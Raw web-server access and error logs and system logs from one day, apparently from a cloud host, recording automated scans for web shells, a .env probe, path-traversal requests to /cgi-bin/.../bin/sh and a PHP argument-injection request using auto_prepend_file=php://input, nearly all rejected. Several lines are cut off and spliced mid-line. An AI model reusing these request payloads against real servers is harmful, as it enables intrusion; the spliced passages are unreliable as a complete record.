20.39.200.31 - - [13/Sep/2025:09:15:35 -0600] "GET /manager.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:35 -0600] "GET /abcd.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:35 -0600] "GET /efile.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:35 -0600] "GET /file18.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:35 -0600] "GET /520.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:35 -0600] "GET /031.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:36 -0600] "GET /file7.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:36 -0600] "GET /file4.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:36 -0600] "GET /tfm.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:36 -0600] "GET /gee.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:36 -0600] "GET /wp-freya.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:37 -0600] "GET /keu.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:37 -0600] "GET /file88.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:37 -0600] "GET /Webb.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:37 -0600] "GET /lock360.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:37 -0600] "GET /jmfi2.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:37 -0600] "GET /class.1.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:38 -0600] "GET /an.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:38 -0600] "GET /fs.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:38 -0600] "GET /CLA.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:38 -0600] "GET /gfile.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:38 -0600] "GET /file6.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:38 -0600] "GET /eauu.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:39 -0600] "GET /we.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:39 -0600] "GET /fe5.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:39 -0600] "GET /cccc.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:39 -0600] "GET /gmo.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:39 -0600] "GET /shell1.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:40 -0600] "GET /gm.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:40 -0600] "GET /lala.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:40 -0600] "GET /hexx.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:40 -0600] "GET /444.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:40 -0600] "GET /a2.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:40 -0600] "GET /cfile.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:41 -0600] "GET /lv.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:41 -0600] "GET /goat.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:41 -0600] "GET /222.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:41 -0600] "GET /aa.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:41 -0600] "GET /vast.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:41 -0600] "GET /cool.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:42 -0600] "GET /yanki.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:42 -0600] "GET /bolt.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:42 -0600] "GET /mnkalo.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:42 -0600] "GET /ilex.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:42 -0600] "GET /des.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:43 -0600] "GET /ext.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:43 -0600] "GET /axx.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:43 -0600] "GET /wp-update.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:43 -0600] "GET /yasnu.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:43 -0600] "GET /new4.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:43 -0600] "GET /ava.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:44 -0600] "GET /ioxi2.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:44 -0600] "GET /gfile1.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:44 -0600] "GET /ffile.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:44 -0600] "GET /rsnu.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:44 -0600] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:44 -0600] "GET /CLA.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:45 -0600] "GET /default.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:45 -0600] "GET /cbrfo.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:45 -0600] "GET /dfre.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:45 -0600] "GET /pp.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:45 -0600] "GET /13.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:45 -0600] "GET /usep.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:46 -0600] "GET /zex4.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:46 -0600] "GET /abhgt.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:46 -0600] "GET /3.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:46 -0600] "GET /jp.php HTTP/1.1" 404 471 "-" "-"
104.152.52.128 - - [13/Sep/2025:09:16:36 -0600] "GET / HTTP/1.1" 200 11192 "-" "curl/7.61.1"
104.152.52.128 - - [13/Sep/2025:09:16:36 -0600] "GET /favicon.ico HTTP/1.1" 404 454 "-" "curl/7.61.1"
104.28.50.19 - - [13/Sep/2025:09:19:03 -0600] "GET /imagenesAptusLegal/arochi/LogosArochi/MAR-131587.png HTTP/1.1" 200 361861 "-" "Mozilla/5.0"
104.28.50.19 - - [13/Sep/2025:09:19:04 -0600] "GET /imagenesAptusLegal/arochi/LogosArochi/MAR-131586.png HTTP/1.1" 200 358107 "-" "Mozilla/5.0"
104.28.50.19 - - [13/Sep/2025:09:19:12 -0600] "GET /imagenesAptusLegal/arochi/LogosArochi/MAR-131585.png HTTP/1.1" 200 361861 "-" "Mozilla/5.0"
104.28.50.20 - - [13/Sep/2025:09:19:34 -0600] "GET /imagenesAptusLegal/arochi/LogosArochi/MAR-131584.png HTTP/1.1" 200 361861 "-" "Mozilla/5.0"
64.137.31.126 - - [13/Sep/2025:09:21:02 -0600] "GET /.env HTTP/1.1" 404 454 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.140 Safari/537.36"
64.137.31.126 - - [13/Sep/2025:09:21:03 -0600] "POST / HTTP/1.1" 200 3440 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.140 Safari/537.36"
38.146.30.200 - - [13/Sep/2025:09:27:03 -0600] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 400 486 "-" "libredtail-http"
38.146.30.200 - - [13/Sep/2025:09:27:03 -0600] "POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1" 400 486 "-" "libredtail-http"
38.146.30.200 - - [13/Sep/2025:09:27:03 -0600] "POST /hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 404 491 "-" "libredtail-http"
38.146.30.200 - - [13/Sep/2hp7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/NH19T66T.php' not found or unable to stat
[Sat Sep 13 09:15:31.936014 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/rei.php' not found or unable to stat
[Sat Sep 13 09:15:32.111049 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/666.php' not found or unable to stat
[Sat Sep 13 09:15:32.287370 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/777.php' not found or unable to stat
[Sat Sep 13 09:15:32.463706 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/888.php' not found or unable to stat
[Sat Sep 13 09:15:32.638734 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/555.php' not found or unable to stat
[Sat Sep 13 09:15:32.814112 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/333.php' not found or unable to stat
[Sat Sep 13 09:15:32.988967 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/zeal.php' not found or unable to stat
[Sat Sep 13 09:15:33.164208 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/file.php' not found or unable to stat
[Sat Sep 13 09:15:33.339222 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/file1.php' not found or unable to stat
[Sat Sep 13 09:15:33.514032 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/file2.php' not found or unable to stat
[Sat Sep 13 09:15:33.689543 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/file5.php' not found or unable to stat
[Sat Sep 13 09:15:33.864605 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/file17.php' not found or unable to stat
[Sat Sep 13 09:15:34.039656 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/file32.php' not found or unable to stat
[Sat Sep 13 09:15:34.214553 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/filesss.php' not found or unable to stat
[Sat Sep 13 09:15:34.389411 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/file9.php' not found or unable to stat
[Sat Sep 13 09:15:34.564680 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/file13.php' not found or unable to stat
[Sat Sep 13 09:15:34.740416 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/file3.php' not found or unable to stat
[Sat Sep 13 09:15:34.915589 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/atomlib.php' not found or unable to stat
[Sat Sep 13 09:15:35.090940 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/manager.php' not found or unable to stat
[Sat Sep 13 09:15:35.266396 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/abcd.php' not found or unable to stat
[Sat Sep 13 09:15:35.442492 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/efile.php' not found or unable to stat
[Sat Sep 13 09:15:35.617565 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/file18.php' not found or unable to stat
[Sat Sep 13 09:15:35.797261 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/520.php' not found or unable to stat
[Sat Sep 13 09:15:35.972141 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/031.php' not found or unable to stat
[Sat Sep 13 09:15:36.147052 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/file7.php' not found or unable to stat
[Sat Sep 13 09:15:36.322224 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/file4.php' not found or unable to stat
[Sat Sep 13 09:15:36.497306 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/tfm.php' not found or unable to stat
[Sat Sep 13 09:15:36.673186 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/gee.php' not found or unable to stat
[Sat Sep 13 09:15:36.848032 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/wp-freya.php' not found or unable to stat
[Sat Sep 13 09:15:37.032291 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/keu.php' not found or unable to stat
[Sat Sep 13 09:15:37.207819 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/file88.php' not found or unable to stat
[Sat Sep 13 09:15:37.384210 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/Webb.php' not found or unable to stat
[Sat Sep 13 09:15:37.559137 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/lock360.php' not found or unable to stat
[Sat Sep 13 09:15:37.734017 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/jmfi2.php' not found or unable to stat
[Sat Sep 13 09:15:37.909855 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/class.1.php' not found or unable to stat
[Sat Sep 13 09:15:38.084698 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/an.php' not found or unable to stat
[Sat Sep 13 09:15:38.259619 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/fs.php' not found or unable to stat
[Sat Sep 13 09:15:38.434500 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/CLA.php' not found or unable to stat
[Sat Sep 13 09:15:38.609807 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/gfile.php' not found or unable to stat
[Sat Sep 13 09:15:38.785053 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/file6.php' not found or unable to stat
[Sat Sep 13 09:15:38.960892 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/eauu.php' not found or unable to stat
[Sat Sep 13 09:15:39.140308 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/we.php' not found or unable to stat
[Sat Sep 13 09:15:39.315337 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/fe5.php' not found or unable to stat
[Sat Sep 13 09:15:39.490619 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/cccc.php' not found or unable to stat
[Sat Sep 13 09:15:39.665619 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/gmo.php' not found or unable to stat
[Sat Sep 13 09:15:39.841031 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/shell1.php' not found or unable to stat
[Sat Sep 13 09:15:40.017035 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/gm.php' not found or unable to stat
[Sat Sep 13 09:15:40.192362 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/lala.php' not found or unable to stat
[Sat Sep 13 09:15:40.367207 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/hexx.php' not found or unable to stat
[Sat Sep 13 09:15:40.543857 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/444.php' not found or unable to stat
[Sat Sep 13 09:15:40.720811 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/a2.php' not found or unable to stat
[Sat Sep 13 09:15:40.895794 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/cfile.php' not found or unable to stat
[Sat Sep 13 09:15:41.070644 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/lv.php' not found or unable to stat
[Sat Sep 13 09:15:41.245996 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/goat.php' not found or unable to stat
[Sat Sep 13 09:15:41.421802 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/222.php' not found or unable to stat
[Sat Sep 13 09:15:41.597270 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/aa.php' not found or unable to stat
[Sat Sep 13 09:15:41.772303 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/vast.php' not found or unable to stat
[Sat Sep 13 09:15:41.947868 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/cool.php' not found or unable to stat
[Sat Sep 13 09:15:42.123175 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/yanki.php' not found or unable to stat
[Sat Sep 13 09:15:42.298119 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/bolt.php' not found or unable to stat
[Sat Sep 13 09:15:42.473837 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/mnkalo.php' not found or unable to stat
[Sat Sep 13 09:15:42.649108 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/ilex.php' not found or unable to stat
[Sat Sep 13 09:15:42.824748 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/des.php' not found or unable to stat
[Sat Sep 13 09:15:43.000464 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/ext.php' not found or unable to stat
[Sat Sep 13 09:15:43.175536 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/axx.php' not found or unable to stat
[Sat Sep 13 09:15:43.350422 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/wp-update.php' not found or unable to stat
[Sat Sep 13 09:15:43.525680 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/yasnu.php' not found or unable to stat
[Sat Sep 13 09:15:43.701050 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/new4.php' not found or unable to stat
[Sat Sep 13 09:15:43.875984 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/ava.php' not found or unable to stat
[Sat Sep 13 09:15:44.050812 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/ioxi2.php' not found or unable to stat
[Sat Sep 13 09:15:44.225874 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/gfile1.php' not found or unable to stat
[Sat Sep 13 09:15:44.400894 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/ffile.php' not found or unable to stat
[Sat Sep 13 09:15:44.575709 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/rsnu.php' not found or unable to stat
[Sat Sep 13 09:15:44.926197 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/CLA.php' not found or unable to stat
[Sat Sep 13 09:15:45.101366 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/default.php' not found or unable to stat
[Sat Sep 13 09:15:45.276218 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/cbrfo.php' not found or unable to stat
[Sat Sep 13 09:15:45.451474 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/dfre.php' not found or unable to stat
[Sat Sep 13 09:15:45.626632 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/pp.php' not found or unable to stat
[Sat Sep 13 09:15:45.804828 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/13.php' not found or unable to stat
[Sat Sep 13 09:15:45.980027 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/usep.php' not found or unable to stat
[Sat Sep 13 09:15:46.155249 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/zex4.php' not found or unable to stat
[Sat Sep 13 09:15:46.330490 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/abhgt.php' not found or unable to stat
[Sat Sep 13 09:15:46.505508 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/3.php' not found or unable to stat
[Sat Sep 13 09:15:46.688493 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/jp.php' not found or unable to stat
[Sat Sep 13 09:27:03.443890 2025] [core:error] [pid 3708374] [client 38.146.30.200:34908] AH00126: Invalid URI in request POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
[Sat Sep 13 09:27:06.900072 2025] [php7:error] [pid 3708360] [client 38.146.30.200:34918] script '/var/www/html/index.php' not found or unable to stat
[Sat Sep 13 09:27:07.051424 2025] [php7:error] [pid 3708360] [client 38.146.30.200:34918] script '/var/www/html/index.php' not found or unable to stat
[Sat Sep 13 09:27:07.122884 2025] [php7:error] [pid 3708360] [client 38.146.30.200:34918] script '/var/www/html/index.php' not found or unable to stat
[Sat Sep 13 09:48:38.912118 2025] [php7:error] [pid 3708362] [client 20.41.85.109:1363] script '/var/www/html/error.php' not found or unable to stat
[Sat Sep 13 09:48:39.089695 2025] [php7:error] [pid 3708362] [client 20.41.85.109:1363] script '/var/www/html/NH19T66T.php' not found or unable to stat
[Sat Sep 13 09:48:39.267710 2025] [php7:error] [pid 3708362] [client 20.41.85.109:1363] script '/var/www/html/rei.php' not found or unable to stat
[Sat Sep 13 09:48:39.445755 2025] [php7:error] [pid 3708362] [client 20.41.85.109:1363] script '/var/www/html/666.php' not found or unable to stat
[Sat Sep 13 09:48:39.624362 2025] [php7:error] [pid 3708362] [client 20.41.85.109:1363] script '/var/www/html/777.php' not found or unable to stat
[Sat Sep 13 09:48:39.802436 2025] [php7:error] [pid 3708362] [client 20.41.85.109:1363] script '/var/www/html/888.php' not found or unable to stat
[Sat Sep 13 09:48:39.980991 2025] [php7:error] [pid 3708362] [client 20.41.85.109:1363] script '/var/www/html/555.php' not found or unable to stat
[Sat Sep 13 09:48:40.158902 2025] [php7:error] [pid 3708362] [client 20.41.85.109:1363] script '/var/www/html/333.php' not found or unable to stat
[Sat Sep 13 09:48:40.336478 2025] [php7:error] [pid 3708362] [client 20.41.85.109:1363] script '/var/www/html/zeal.php' not found or unable to stat
[Sat Sep 13 09:48:40.515222 2025] [php7:error] [pid 3708362] [client 20.41.85.109:1363] script '/var/www/html/file.php' not found or unable to stat
[Sat Sep 13 09:48:40.692865 2025] [php7:error] [pid 3708362] [client 20.41.85.109:1363] script '/var/www/html/file1.php' not found or unable to stat
[Sat Sep 13 09:48:40.870461 2025] [php7:error] [pid 3708362] [client 20.41.85.109:1363] script '/var/www/html/file2.php' not found or unable to stat
[Sat Sep 13 09:48:41.048267 2025] [php7:error] [pid 3708362] [client 20.41.85.109:1363] script '/var/www/html/file5.php' not found or unable to stat
[Sat Sep 13 09:48:41.226084 2025] [php7:error] [pid 3708362] [client 20.41.85.109:1363] script '/var/www/html/file17.php' not found or unable to stat
[Sat Sep 13 09:48:41.410286 2025] [php7:error] [pid 3708362] [client 20.41.85.109:1363] script '/var/www/html/file32.php' not found or unable to stat
[Sat Sep 13 09:48:41.588101 2025] [php7:error] [pid 3708362] [client 20.41.85.109:1363] script '/var/www/html/filesss.php' not found or unable to stat
[Sat Sep 13 09:48:41.765692 2025] [php7:error] [pid 3708362] [client 20.41.85.109:1363] script '/var/www/html/file9.php' not found or unable to stat
[Sat Sep 13 09:48:41.944019 2025] [php7:error] [pid 3708362] [client 20.41.85.109:1363] script '/var/www/html/file13.php' not found or unable to stat
[Sat Sep 13 09:48:42.121834 2025] [php7:error] [pid 3708362] [client 20.41.85.109:1363] script '/var/www/html/file3.php' not found or unable to stat
[Sat Sep 13 09:48:42.299496 2025] [php7:error] [pid 3708362] [client 20.41.85.109:1363] script '/var/www/html/atomlib.php' not found or unable to stat
[Sat Sep 13 09:48:42.477091 2025] [php7:error] [pid 3708362] [client 20.41.85.109:1363] script '/var/www/html/manager.php' not found or unable to stat
[Sat Sep 13 09:48:42.660719 2025] [phProvider Failed to connect to Systems Manager with instance profile role credentials. Err: retrieved credentials failed to report to ssm. Error: EC2RoleRequestError: no EC2 instance role found
Sep 13 11:11:12 ip-172-31-29-215 amazon-ssm-agent.amazon-ssm-agent[3122439]: 2025-09-13 11:11:12.5329 ERROR EC2RoleProvider Failed to connect to Systems Manager with SSM role credentials. error calling RequestManagedInstanceRoleToken: AccessDeniedException: Systems Manager's instance management role is not configured for account: 227937466084
Sep 13 11:11:12 ip-172-31-29-215 amazon-ssm-agent.amazon-ssm-agent[3122439]: #011status code: 400, request id: 22dc428a-6e18-4c1a-8773-2d1503c584b4
Sep 13 11:17:01 ip-172-31-29-215 CRON[3711815]: (root) CMD (   cd / && run-parts --report /etc/cron.hourly)
Sep 13 11:20:01 ip-172-31-29-215 CRON[3711820]: (smmsp) CMD (test -x /etc/init.d/sendmail && test -x /usr/share/sendmail/sendmail && test -x /usr/lib/sm.bin/sendmail && /usr/share/sendmail/sendmail cron-msp)
Sep 13 11:39:01 ip-172-31-29-215 CRON[3711850]: (root) CMD (  [ -x /usr/lib/php/sessionclean ] && if [ ! -d /run/systemd/system ]; then /usr/lib/php/sessionclean; fi)
Sep 13 11:39:02 ip-172-31-29-215 systemd[1]: Starting Clean php session files...
Sep 13 11:39:02 ip-172-31-29-215 sessionclean[3711863]: Cannot load Xdebug - it was already loaded
Sep 13 11:39:02 ip-172-31-29-215 sessionclean[3711863]: PHP Warning:  PHP Startup: Unable to load dynamic library 'pdo_sqlsrv.so' (tried: /usr/lib/php/20190902/pdo_sqlsrv.so (/usr/lib/php/20190902/pdo_sqlsrv.so: undefined symbol: php_pdo_unregister_driver), /usr/lib/php/20190902/pdo_sqlsrv.so.so (/usr/lib/php/20190902/pdo_sqlsrv.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0
Sep 13 11:39:02 ip-172-31-29-215 sessionclean[3711863]: PHP Warning:  Module 'gettext' already loaded in Unknown on line 0
Sep 13 11:39:02 ip-172-31-29-215 sessionclean[3711863]: PHP Warning:  Module 'mbstring' already loaded in Unknown on line 0
Sep 13 11:39:02 ip-172-31-29-215 sessionclean[3711863]: PHP Warning:  Module 'sqlsrv' already loaded in Unknown on line 0
Sep 13 11:39:02 ip-172-31-29-215 systemd[1]: phpsessionclean.service: Succeeded.
Sep 13 11:39:02 ip-172-31-29-215 systemd[1]: Finished Clean php session files.
Sep 13 11:39:03 ip-172-31-29-215 amazon-ssm-agent.amazon-ssm-agent[3122439]: 2025-09-13 11:39:03.5349 WARN EC2RoleProvider Failed to connect to Systems Manager with instance profile role credentials. Err: retrieved credentials failed to report to ssm. Error: EC2RoleRequestError: no EC2 instance role found
Sep 13 11:39:03 ip-172-31-29-215 amazon-ssm-agent.amazon-ssm-agent[3122439]: 2025-09-13 11:39:03.5704 ERROR EC2RoleProvider Failed to connect to Systems Manager with SSM role credentials. error calling RequestManagedInstanceRoleToken: AccessDeniedException: Systems Manager's instance management role is not configured for account: 227937466084
Sep 13 11:39:03 ip-172-31-29-215 amazon-ssm-agent.amazon-ssm-agent[3122439]: #011status code: 400, request id: 0705e5a5-e8d3-402b-8669-2f04bc9cab2e
Sep 13 11:40:01 ip-172-31-29-215 CRON[3711907]: (smmsp) CMD (test -x /etc/init.d/sendmail && test -x /usr/share/sendmail/sendmail && test -x /usr/lib/sm.bin/sendmail && /usr/share/sendmail/sendmail cron-msp)
